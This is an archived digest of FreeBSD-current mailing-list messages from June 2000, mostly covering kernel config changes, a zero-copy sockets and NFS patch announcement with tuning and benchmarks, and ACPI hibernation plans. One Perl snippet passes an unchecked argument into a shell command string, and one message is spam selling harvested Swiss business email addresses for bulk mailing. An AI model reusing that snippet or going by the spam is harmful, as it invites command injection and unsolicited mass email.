Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id 7944037C228 for ; Fri, 16 Jun 2000 20:14:25 -0700 (PDT) (envelope-from chris@holly.calldei.com) Received: from holly.calldei.com ([208.191.149.190]) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FWA00LC23NFIM@mta4.rcsntx.swbell.net> for current@FreeBSD.ORG; Fri, 16 Jun 2000 22:14:06 -0500 (CDT) Received: (from chris@localhost) by holly.calldei.com (8.9.3/8.9.3) id WAA05811; Fri, 16 Jun 2000 22:12:57 -0500 (CDT envelope-from chris) Date: Fri, 16 Jun 2000 22:12:56 -0500 From: Chris Costello Subject: Re: question regarding current In-reply-to: <394A24D8.B989BC4C@ocsny.com> To: Mikel Cc: current@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20000616221256.G98160@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <394A24D8.B989BC4C@ocsny.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, June 16, 2000, Mikel wrote: > I just install snap 61200 for 5 on my laptop and so far things are > smooth...this was the easiest time I've have configuring xe (xircom > nics) so far...anyway since I am new to the world of current I have a > few questions... > I am just curious maybe there's an webpage that describes the direction > of current (you know a mission statement , sort of road map thingie)? Or > is that a secret type thing we don't know until it's out? If there isn't > a page is one wanted? There's no specific "direction of current" other than what the developers are working on. Subscribing to this very list can get you that information, and it is recommended that you also subscribe to cvs-all@FreeBSD.org. > On that note is the scaled down /etc the direction we are going in, or > is it just the way current is arrange and it will grow to be more like > 3.0 & 4.0? I'm not sure what you mean here. -- |Chris Costello |QUASIMOTO - 4 wheeled hard-top moped made in France. `---------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 20:18:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net [151.164.30.29]) by hub.freebsd.org (Postfix) with ESMTP id 9842537C228; Fri, 16 Jun 2000 20:18:38 -0700 (PDT) (envelope-from chris@holly.calldei.com) Received: from holly.calldei.com ([208.191.149.190]) by mta5.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FWA007UI3ULBS@mta5.rcsntx.swbell.net>; Fri, 16 Jun 2000 22:18:23 -0500 (CDT) Received: (from chris@localhost) by holly.calldei.com (8.9.3/8.9.3) id WAA05853; Fri, 16 Jun 2000 22:17:26 -0500 (CDT envelope-from chris) Date: Fri, 16 Jun 2000 22:17:26 -0500 From: Chris Costello Subject: Re: make install of new kernel fails (bad /modules) In-reply-to: <20000613175622.A91072@unx.sas.com> To: John DeBoskey Cc: freebsd-current@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20000616221725.H98160@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <20000613175622.A91072@unx.sas.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tuesday, June 13, 2000, John DeBoskey wrote: > modules-install modules-install.debug: > .if !defined(NO_MODULES_OLD) > mkdir -p ${DESTDIR}/modules.old > cp -p ${DESTDIR}/modules/* ${DESTDIR}/modules.old I'd suggest changing the above line to: test -f ${DESTDIR}/modules/* && \ cp -p ${DESTDIR}/modules/* ${DESTDIR}/modules.old I haven't tested it, but it should work. > .endif > cd $S/modules && env MAKEOBJDIRPREFIX=${.OBJDIR}/modules ${MAKE} > install -- |Chris Costello |Programmers do it bit by bit. `---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 20:26:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from panzer.kdm.org (panzer.kdm.org [216.160.178.169]) by hub.freebsd.org (Postfix) with ESMTP id 4691537B87F; Fri, 16 Jun 2000 20:25:46 -0700 (PDT) (envelope-from ken@panzer.kdm.org) Received: (from ken@localhost) by panzer.kdm.org (8.9.3/8.9.1) id VAA57866; Fri, 16 Jun 2000 21:25:45 -0600 (MDT) (envelope-from ken) Date: Fri, 16 Jun 2000 21:25:45 -0600 From: "Kenneth D. Merry" To: net@FreeBSD.ORG Subject: zero copy sockets and NFS code for FreeBSD Message-ID: <20000616212545.A57840@panzer.kdm.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ This message is BCC'ed to -arch and -current, so it reaches a little wider audience, but since it mostly deals with networking stuff, it should probably be discussed on -net. ] Thanks to the efforts of a number of people, zero copy sockets and NFS patches are available for FreeBSD-current at the URL listed below. These patches include: - Two sets of zero copy send code, written by Drew Gallatin and Robert Picco . - Zero copy receive code, written by Drew Gallatin. - Zero copy NFS code, written by Drew Gallatin. - Header splitting firmware for Alteon's Tigon II boards (written by me), based on version 12.4.11 of their firmware. This is used in combination with the zero copy receive code to guarantee that the payload of TCP or UDP packet is placed into a page-aligned buffer. - Alteon firmware debugging ioctls and supporting routines for the Tigon driver (also written by me). This will help anyone who is doing firmware development under FreeBSD for the Tigon boards. Please note that the code is still in development, and should not be used in a production system. It could crash your system, you could lose data, etc. The Alteon firmware header splitting and debugging code was written for Pluto Technologies (www.plutotech.com), which has kindly agreed to let me release the code. I'm releasing these patches now, so people can take a look at the code, test it out, give feedback and hopefully supply patches for things that are broken. The code is located here: http://people.FreeBSD.ORG/~ken/zero_copy/ The patches are based on -current from early in the day on June 13th, i.e. before Peter's config changes. Frequently Asked Questions: 1. Known Problems. 2. What is "zero copy"? 3. How does zero copy work? 4. What hardware does it work with? 5. Configuration and performance tuning. 6. Benchmarks. 7. Possible future directions. 1. Known Problems: - Robert Picco's zero copy send code (options ZCOPY) corrupts data that it sends. You can verify this with the 'nttcp' port from ports/net, like this: nttcp -c -n 262144 -t -T -w 512k 10.0.0.2 (assuming 10.0.0.2 is the target machine) - Running high volumes of traffic to the local machine can trigger panics. If the machine in question is '10.0.0.2', doing the following is enough to panic it: netperf -H 10.0.0.2 (netperf is in ports/benchmarks) 2. What is "zero copy"? Zero copy is a misnomer, or an accurate description, depending on how you look at things. In the normal case, with network I/O, buffers are copied from the user process into the kernel on the send side, and from the kernel into the user process on the receiving side. That is the copy that is being eliminated in this case. The DMA or copy from the kernel into the NIC, or from the NIC into the kernel is not the copy that is being eliminated. In fact you can't eliminate that copy without taking packet processing out of the kernel altogether. (i.e. the kernel has to see the packet headers in order to determine what to do with the payload) Memory copies from userland into the kernel are one of the largest bottlenecks in network performance on a BSD system, so eliminating them can greatly increase network throughput, and decrease system load when CPU or memory bandwidth isn't the limiting factor. 3. How does zero copy work? The send side and receive side zero copy code work in different ways: The send side code takes pages that the userland program writes to a socket, and puts a COW (Copy On Write) mapping on each page, and stuffs it into a mbuf. The data the user program writes must be page sized and start on a page boundary in order for it to be run through the zero copy send code. If the userland program doesn't write to the page before it has been sent out on the wire and the mbuf freed (and therefore the COW mapping revoked), the page will be copied. For TCP, the mbuf isn't freed until the packet is acknowledged by the receiver. So send side zero copy is only better than the standard case, where userland buffers are copied into kernel buffers, if the userland program doesn't immediately reuse the buffer. Receive side zero copy works in a slightly different manner, and depends in part on the capabilities of the network card in question. One requirement for zero copy receive to work is that the chunks of data passed up the network and socket layers have to be at least page sized, and be aligned on page boundaries. This pretty much means that the card has to have a MTU of 4K or 8K in the case of the Alpha. Gigabit Ethernet cards using Jumbo Frames (9000 byte MTU) fall into this category. More on that below. Another requirement for zero copy receive to work is that the NIC driver needs to allocate receive side pages from a "disposeable" pool. This means allocating memory apart from the normal mbuf memory, and attaching it as an external buffer to the mbuf. It also helps if the NIC can receive packets into multiple buffers, and if the NIC can separate the ethernet, IP, and TCP or UDP headers from the payload. The idea is to get the packet payload into one or more page-sized, page-aligned buffers. The NIC driver receives data into these buffers allocated from a disposeable pool. The mbuf with these buffers attached is then passed up the network stack where the headers are removed. Finally it reaches the socket layer, and waits for the user to read it. Once the user reads the data, the kernel page is then substituted for the user's page, and the user's page is then recycled. This is otherwise known as "page flipping". The page flip can only occur if both the userland buffer and kernel buffer are page aligned, and if there is at least a page worth of data in the source and destination. Otherwise the data will be copied out using copyout() in the normal manner. 4. What hardware does it work with? The send side zero copy code should work with most any network adapter. The receive side code, however, requires an adapter with an MTU that is at least a page size, due to the alignment restrictions for page substitution (or "page flipping"). The zero-copy NFS receive-side code also requires an adapter with an MTU that is at least page-size & which is capable of splitting the NFS rpc header off of the payload. Furthermore, it only works with UDP mounts. The server's zero-copy read response code simply maps kernel memory into mbufs and has no special adapter or protocol requirements. The Alteon firmware debugging code requires an Alteon Tigon II board. If you want the patches to the userland tools and Tigon firmware to debug it and make it compile under FreeBSD, contact ken@FreeBSD.ORG. 5. Configuration and performance tuning. There are a number of options that need to be turned on for various things to work: options ZERO_COPY_SOCKETS # Turn on zero copy send code options ENABLE_VFS_IOOPT # Turn on zero copy receive options NMBCLUSTERS=(512+512*32) # lots of mbuf clusters options TI_JUMBO_HDRSPLIT # Turn on Tigon header splitting To turn on Robert Picco's zero copy send code, substitute: options ZCOPY # Robert Picco's zero copy code for the ZERO_COPY_SOCKETS option above. The number of mbuf clusters above works for me, your mileage may vary. It probably isn't necessary to allocate that many. To get the maximum performance out of the code, here are some suggestions on various sysctl and other parameters. These assume you've got an Alteon-based board, so if you're using something else, you may want to experiment and find the optimum values for some of them: - Make sure the MTU on your Tigon (or other) board is set to 9000. - Enable RFC 1323, which allows your TCP MSS to go above 64KB: sysctl -w net.inet.tcp.rfc1323=1 - Turn on vfs.ioopt to enable zero copy receive: sysctl -w vfs.ioopt=1 - Increase your socket buffer size and send and receive window size for TCP: sysctl -w kern.ipc.maxsockbuf=2097152 sysctl -w net.inet.tcp.sendspace=524288 sysctl -w net.inet.tcp.recvspace=524288 A send window of 512K seems to work well with 1MB Tigon boards, and a send window of 256K seems to work well with 512K Tigon boards. Again, you may want to experiment to find the best settings for your hardware. - Increase UDP send space and maximum datagram size: sysctl -w net.inet.udp.recvspace=65535 sysctl -w net.inet.udp.maxdgram=57344 6. Benchmarks One nice benchmark is netperf (www.netperf.org), which is in the benchmarks subdirectory of the ports tree. Netperf isn't exactly a real world benchmark, since it sends page aligned data that is a multiple of the page size. It is good for trying to determine maximum throughput. Another benchmark to try is nttcp, which is in ports/net. Here is are some netperf numbers for TCP and UDP throughput between two Pentium II 350's with 128MB RAM and 1MB Alteon ACEnics: # ./netperf -H 10.0.0.1 TCP STREAM TEST to 10.0.0.1 : histogram Recv Send Send Socket Socket Message Elapsed Size Size Size Time Throughput bytes bytes bytes secs. 10^6bits/sec 524288 524288 524288 10.01 742.46 # ./netperf -t UDP_STREAM -H 10.0.0.1 -- -m 8192 UDP UNIDIRECTIONAL SEND TEST to 10.0.0.1 : histogram Socket Message Elapsed Messages Size Size Time Okay Errors Throughput bytes bytes secs # # 10^6bits/sec 57344 8192 10.01 140396 585086 919.34 65535 10.01 93525 612.42 As you can see, the TCP performance is 742Mbits/sec, or about 93MBytes/sec. Drew Gallatin has achieved much higher performance with faster hardware: This is between 2 Dell PowerEdge 4400 servers using prototype 64-bit, 66MHz PCI Myricom Lanai-9 NICs with a 2.56Gb/sec link speed. The MTU was 32828 bytes. They're both uniprocessor 733MHz Xeons running a heavily patched 4.0-RELEASE & my zero-copy code in conjunction with Duke's Trapeze software (drive & firmware) for Myrinet adapters. The receiver is offloading checksums and is 60% idle, the sender is calculating checksums and is pegged at 100% CPU. <9:12am>wrath/gallatin:~>netperf -Hsloth-my TCP STREAM TEST to sloth-my : histogram Recv Send Send Socket Socket Message Elapsed Size Size Size Time Throughput bytes bytes bytes secs. 10^6bits/sec 524288 524288 524288 10.00 1764.50 7. Possible future directions. Send side zero copy: One of the obvious problems with the current send side approach is that it only works if the userland application doesn't immediately reuse the buffer. In the case of many system applications, though, the application will reuse the buffer immediately, and therefore performance will be no better than the standard case. Many common applications (like ftp) have been written with the current system buffer usage in mind, so they function like this: while !done { read x bytes from disk into buffer y write x bytes from buffer y into the socket } That makes sense if the kernel is only going to copy the data, but it doesn't in the zero copy case. Another problem with the current send side approach is that it requires page sized and page aligned data in order to apply the COW mapping. Not all data sets fit this requirement. One way to address both of the above problems is to implement an alternate zero copy send scheme that uses async I/O. With async I/O semantics, it will be clear to the userland program that the buffer in question is not to be used until it is returned from the kernel. So with that approach, you eliminate the need to map the data copy-on-write, and therefore also eliminate the need for the data to be page sized and page aligned. Receive side zero copy: The main issue with the current receive side zero copy code is the size and alignment restrictions. One way to get around the restriction is if it were possible to do operations similar to a page flip on buffers that are less than a page size. Another way to get around the restriction is to have the receiving client pass buffers into the kernel (perhaps with an async I/O type interface) and have the NIC DMA the data directly into the buffers the user has supplied. One proposal for doing this is called RDMA. There is a draft of the specification here: ftp://ftpeng.cisco.com/pub/rdma/draft-csapuntz-tcprdma-00.txt Essentially RDMA allows for the sender and receiver to negotiate destination buffer locations on the receiver. The sender then includes the buffer locations in a TCP header option, and the NIC can then extract the destination location for the payload and DMA it to the appropriate place. One drawback to this approach is that it requires support for RDMA on both ends of the connection. Ken -- Kenneth Merry ken@kdm.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 20:32:39 2000 Delivered-To: freebsd-current@freebsd.org Received: from mta5.rcsntx.swbell.net (mta5.rcsntx.swbell.net [151.164.30.29]) by hub.freebsd.org (Postfix) with ESMTP id 61FE837C254 for ; Fri, 16 Jun 2000 20:32:36 -0700 (PDT) (envelope-from chris@holly.calldei.com) Received: from holly.calldei.com ([208.191.149.190]) by mta5.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FWA00ABE4HOPB@mta5.rcsntx.swbell.net> for current@FreeBSD.ORG; Fri, 16 Jun 2000 22:32:16 -0500 (CDT) Received: (from chris@localhost) by holly.calldei.com (8.9.3/8.9.3) id WAA05943; Fri, 16 Jun 2000 22:31:17 -0500 (CDT envelope-from chris) Date: Fri, 16 Jun 2000 22:31:16 -0500 From: Chris Costello Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: <20000617024718.8BD3D1CE2@overcee.netplex.com.au> To: Peter Wemm Cc: "Jordan K. Hubbard" , van.woerkom@netcologne.de, current@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20000616223116.I98160@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <20000617024718.8BD3D1CE2@overcee.netplex.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, June 16, 2000, Peter Wemm wrote: > How about that and as a stdin pipe as well if no args are specified? Well, I don't know about modifying the argument vector in Perl (and I'd rather not find out how it behaves across various circumstances), but: #!/usr/bin/perl -w my @arguments; # pseudo argument vector. push @arguments, @ARGV; # if no file list is specified, read from the standard input push @arguments, "/dev/stdin" if !defined($arguments[0]); while (defined($arguments[0])) { system("ls -l " . $arguments[0]); shift @arguments; } -- |Chris Costello |You buttered your bread, now lie in it. `--------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 20:39: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id 5D3C237B5AD for ; Fri, 16 Jun 2000 20:39:03 -0700 (PDT) (envelope-from chris@holly.calldei.com) Received: from holly.calldei.com ([208.191.149.190]) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.01.05.12.18.p9) with ESMTP id <0FWA00MNS4SRN7@mta4.rcsntx.swbell.net> for current@FreeBSD.ORG; Fri, 16 Jun 2000 22:38:55 -0500 (CDT) Received: (from chris@localhost) by holly.calldei.com (8.9.3/8.9.3) id WAA05999; Fri, 16 Jun 2000 22:37:43 -0500 (CDT envelope-from chris) Date: Fri, 16 Jun 2000 22:37:42 -0500 From: Chris Costello Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: <20000616223116.I98160@holly.calldei.com> To: Peter Wemm Cc: "Jordan K. Hubbard" , van.woerkom@netcologne.de, current@FreeBSD.ORG Reply-To: chris@calldei.com Message-id: <20000616223742.J98160@holly.calldei.com> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.4i References: <20000617024718.8BD3D1CE2@overcee.netplex.com.au> <20000616223116.I98160@holly.calldei.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Friday, June 16, 2000, Chris Costello wrote: > while (defined($arguments[0])) { > system("ls -l " . $arguments[0]); > shift @arguments; > } Actually, just for style purposes: for (; defined($arguments[0]); shift @arguments) { # ... parse arguments ... } -- |Chris Costello |This time it will surely run. `---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 21:21:50 2000 Delivered-To: freebsd-current@freebsd.org Received: from grape.ease.lsoft.com (grape.ease.lsoft.com [209.119.1.39]) by hub.freebsd.org (Postfix) with ESMTP id 184EC37B590; Fri, 16 Jun 2000 21:20:55 -0700 (PDT) (envelope-from owner-blackbook@GUAVA.EASE.LSOFT.COM) Received: from guava (209.119.1.40) by grape.ease.lsoft.com (LSMTP for OpenVMS v1.1b) with SMTP id <12.000B58D3@grape.ease.lsoft.com>; Sat, 17 Jun 2000 0:17:32 -0500 Received: from GUAVA.EASE.LSOFT.COM by GUAVA.EASE.LSOFT.COM (LISTSERV-TCP/IP release 1.8d) with spool id 2126999 for BLACKBOOK@GUAVA.EASE.LSOFT.COM; Sat, 17 Jun 2000 00:14:09 -0400 Approved-By: bmcnally@EURODIRECTOR.COM Received: from 209.207.216.11 by GUAVA.EASE.LSOFT.COM (SMTPL release 1.0d) with TCP; Wed, 14 Jun 2000 12:15:15 -0400 Received: from k6200 (zhb118pub178.bluewin.ch [195.186.118.178]) by cob238.dn.net (8.9.3/8.9.3) with ESMTP id MAA27280 for ; Wed, 14 Jun 2000 12:12:54 -0400 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0036_01BFD62C.A8EAD2D0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Message-ID: <003901bfd61b$e628ae30$0800a8c0@k6200> Date: Wed, 14 Jun 2000 18:16:29 +0200 Reply-To: Brian McNally From: Brian McNally Organization: www.eurodirector.com To: BLACKBOOK@GUAVA.EASE.LSOFT.COM Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0036_01BFD62C.A8EAD2D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ab 15.6.2000 auf CD-ROM: **** blackbook 2000 ch **** =20 - die 1. Datenbank zum leichten und umfassenden Aufbau von ** Newslettern ** Kundeninformationsbriefen ** Produktankuendigungen ** Marketingaktionen ** Offerten einholen/stellen ** konzipiert f=FCr den Business to Business-Einsatz Schweiz - die Informationsdatenbank mit + 450'000 Business-Emails der Schweiz + 170'000 Business-Websites der Schweiz=20 (Registrar, weitere Domains des Registrars, Kontaktinfo) + 160'000 Kontaktadressen mit Telefon, Fax, Homepage,=20 Email, Beruf - Suchmoeglichkeiten Homepage/Adressen=20 nach Kanton - Beruf - Stichworten=20 Alle Daten exportierbar in Outlook 2000 oder Textfiles zur = Weiterverarbeitung. Eigene Daten importieren aus Outlook 2000 oder Textfiles.=20 Backup/Restore eigener Daten. Lieferumfang: Datenbankprogramm - "How to's" - Groupmailprogramme -=20 Internetmetasearchengine. (10'000 CD's zum Preis von jeweils SFr. 194.-- inklusive Porto und NN,=20 anschliessend SFr. 364.-- --- dieses Einf=FChrungsangebot gilt nur in = der Schweiz=20 und fuer die ersten 10'000 CD's) =20 More infos and order online on www.eurodirector.com www.carfashop.com www.eu-sales.com www.iq-u.com See you there! ------=_NextPart_000_0036_01BFD62C.A8EAD2D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
ab=20 15.6.2000 auf CD-ROM:

****       blackbook 2000=20 ch    ****

 
- die=20 1. Datenbank zum leichten und umfassenden Aufbau=20 von

**   Newslettern
**  =20 Kundeninformationsbriefen
**  =20 Produktankuendigungen
**   = Marketingaktionen
**  =20 Offerten einholen/stellen
**   konzipiert f=FCr den = Business to=20 Business-Einsatz Schweiz

- die = Informationsdatenbank=20 mit

+ 450'000 Business-Emails der = Schweiz
+=20 170'000 Business-Websites der Schweiz
(Registrar, = weitere=20 Domains des Registrars, Kontaktinfo)
+ 160'000=20 Kontaktadressen mit Telefon, Fax, Homepage, =
Email, = Beruf

-=20 Suchmoeglichkeiten Homepage/Adressen =
nach Kanton - Beruf=20 - Stichworten

Alle Daten exportierbar in Outlook 2000 = oder=20 Textfiles zur Weiterverarbeitung.
Eigene Daten importieren aus = Outlook 2000=20 oder Textfiles.
Backup/Restore eigener=20 Daten.

Lieferumfang:
Datenbankprogramm - "How to's" -=20 Groupmailprogramme -
Internetmetasearchengine.

(10'000 CD's zum Preis = von=20 jeweils SFr. 194.-- inklusive Porto und NN, =
anschliessend SFr. 364.--=20 --- dieses Einf=FChrungsangebot gilt nur in der Schweiz=20
und fuer = die ersten 10'000=20 CD's)
 
More infos and order online on
www.eurodirector.com
www.carfashop.com
www.eu-sales.com
www.iq-u.com

See you=20 there!
 ------=_NextPart_000_0036_01BFD62C.A8EAD2D0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 21:52:49 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 6901537B8DB for ; Fri, 16 Jun 2000 21:52:41 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id VAA02416; Fri, 16 Jun 2000 21:52:25 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: Peter Wemm Cc: "Daniel C. Sobral" , "Jordan K. Hubbard" , current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: Your message of "Fri, 16 Jun 2000 17:42:46 PDT." <20000617004246.DCA6B1CD7@overcee.netplex.com.au> Date: Fri, 16 Jun 2000 21:52:25 -0700 Message-ID: <2413.961217545@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > IMHO, the hints are a machine property, not a per-kernel property. Setting > up a /boot/device.hints is (IMHO) a one-time task that never needs to be > done more than once, and (again IMHO) the 'make install' had damn well > better not mess with. But what if one does not exist? Wouldn't it be a good bootstrapping mechanism to create one for first-time use in the install rule? Not that it matters much in my case since there are apparently no "hints" for the perl script to generate from my config file. - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 21:56:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from tasogare.imasy.or.jp (tasogare.imasy.or.jp [202.227.24.5]) by hub.freebsd.org (Postfix) with ESMTP id 66E2437B8DB; Fri, 16 Jun 2000 21:56:17 -0700 (PDT) (envelope-from iwasaki@jp.FreeBSD.org) Received: from localhost (isdn8.imasy.or.jp [202.227.24.200]) by tasogare.imasy.or.jp (8.10.1+3.3W/3.7W-tasogare/smtpfeed 1.07) with ESMTP id e5H4uC296370; Sat, 17 Jun 2000 13:56:12 +0900 (JST) (envelope-from iwasaki@jp.FreeBSD.org) To: acpi-jp@jp.freebsd.org, dcs@newsguy.com Cc: iwasaki@jp.FreeBSD.org, freebsd-current@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: ACPI project progress report In-Reply-To: <394AB05C.569DD4DD@newsguy.com> References: <20000617002156A.iwasaki@jp.FreeBSD.org> <394AAE60.B6F0EE2A@newsguy.com> <394AB05C.569DD4DD@newsguy.com> X-Mailer: Mew version 1.94.1 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000617135611E.iwasaki@jp.FreeBSD.org> Date: Sat, 17 Jun 2000 13:56:11 +0900 From: Mitsuru IWASAKI X-Dispatcher: imput version 20000228(IM140) Lines: 45 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, > "Daniel C. Sobral" wrote: > > > > Mitsuru IWASAKI wrote: > > > > > > - support S2, S3, S4 (hibernation) sleeping transition. S4 sleep > > > require some hack in boot loader.... needs help. > > > > I thought hibernation was entirely controlled by kernel? What do you > ^^^^^^ > Err, BIOS. > > > need? Yes, we need to consider both. In ACPI spec. 1.0b 9.1.4 S4 Sleeping State, this is described that S4 supports two entry mechanisms: OS initiated and BIOS initiated. From: Intel, Microsoft, Toshiba Subject: Advanced Configuration and Power Interface Specification 1.0b Date: Tue, 2 Feb 1999 07:55:24 +0900 > In the OS-initiated S4 sleeping state, the OS is responsible for > saving all system context. Before entering the S4 state, the OS will > save context of all memory. Upon awakening, the OS will then restore > the system context. When the OS re-enumerates buses coming out of the > S4 sleeping state, it will discover any devices that have come and > gone, and configure devices as they are turned on. I think OS-initiated S4 (hibernation) in FreeBSD has enough advantages because we can do `Save-to-Disk' anywhere even on non-laptop machines which BIOS doesn't support hibernation. FreeBSD supports crash dump facility here, so I'm expecting that `Save-to-Disk' by kernel would not be so difficult. We might need dedicated swap partition for OS-initiated S4 because used swap areas need to be protected for the system oprerations after awakening. The boot loader is the best place for restoring the system context in FreeBSD I think. Unfortunately I don't have enough knowledge on crash dump and boot loader to implement OS-initiated S4 transition (actually, this is not related with ACPI at all). I love to see someone say `hey! I'll take this one!' :-) Thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 21:57: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from zippy.osd.bsdi.com (zippy.cdrom.com [204.216.27.228]) by hub.freebsd.org (Postfix) with ESMTP id 46B0137B8DB for ; Fri, 16 Jun 2000 21:57:07 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) Received: from localhost (jkh@localhost [127.0.0.1]) by zippy.osd.bsdi.com (8.9.3/8.9.3) with ESMTP id VAA02747; Fri, 16 Jun 2000 21:57:21 -0700 (PDT) (envelope-from jkh@zippy.osd.bsdi.com) To: Peter Wemm Cc: "Jordan K. Hubbard" , van.woerkom@netcologne.de, current@FreeBSD.ORG Subject: Re: GENERIC from today does not detect system console on my box In-reply-to: Your message of "Fri, 16 Jun 2000 17:44:57 PDT." <20000617004457.B558A1CD7@overcee.netplex.com.au> Date: Fri, 16 Jun 2000 21:57:21 -0700 Message-ID: <2744.961217841@localhost> From: "Jordan K. Hubbard" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Err.. how did you run it? 'perl < MYKERNEL'? If you run 'perl MYKERNEL' > it will generate nothing because I was kinda lame and didn't know how to do > argument parsing. :-] Yep, I ran it exactly as you specified in your "HEADS UP" message to -current. It generates no output for either GENERIC or for my kernel config file: jkh@zippy-> perl gethints.pl < ZIPPY jkh@zippy-> perl gethints.pl < GENERIC jkh@zippy-> which perl /usr/bin/perl jkh@zippy-> /usr/bin/perl -v This is perl, version 5.005_03 built for i386-freebsd - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jun 16 21:57:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from midget.dons.net.au (daniel.lnk.telstra.net [139.130.137.70]) by hub.freebsd.org (Postfix) with ESMTP id 687AD37C27E for ; Fri, 16 Jun 2000 21:57:29 -0700 (PDT) (envelope-from darius@guppy.dons.net.au) Received: from guppy.dons.net.au (guppy.dons.net.au [203.31.81.9]) by midget.dons.net.au (8.9.3/8.9.1) with ESMTP id OAA53878; Sat, 17 Jun 2000 14:27:26 +0930 (CST) (envelope-from darius@guppy.dons.net.au) Received: (from darius@localhost) by guppy.dons.net.au (8.9.3/8.9.3) id OAA00380; Sat, 17 Jun 2000 14:27:24 +0930 (CST) (envelope-from darius) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20000613231829.2F4BF1CD7@overcee.netplex.com.au> Date: Sat, 17 Jun 2000 14:27:24 +0930 (CST) From: "Daniel O'Connor" To: Peter Wemm Subject: RE: HEADS UP!: config changes... Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 13-Jun-00 Peter Wemm wrote: > *** CAUTION IS REQUIRED ***! > > FYI, an intrusive commit has been done that requires careful attention. If > you ignore this or mess it up, it can burn your house down, shoot 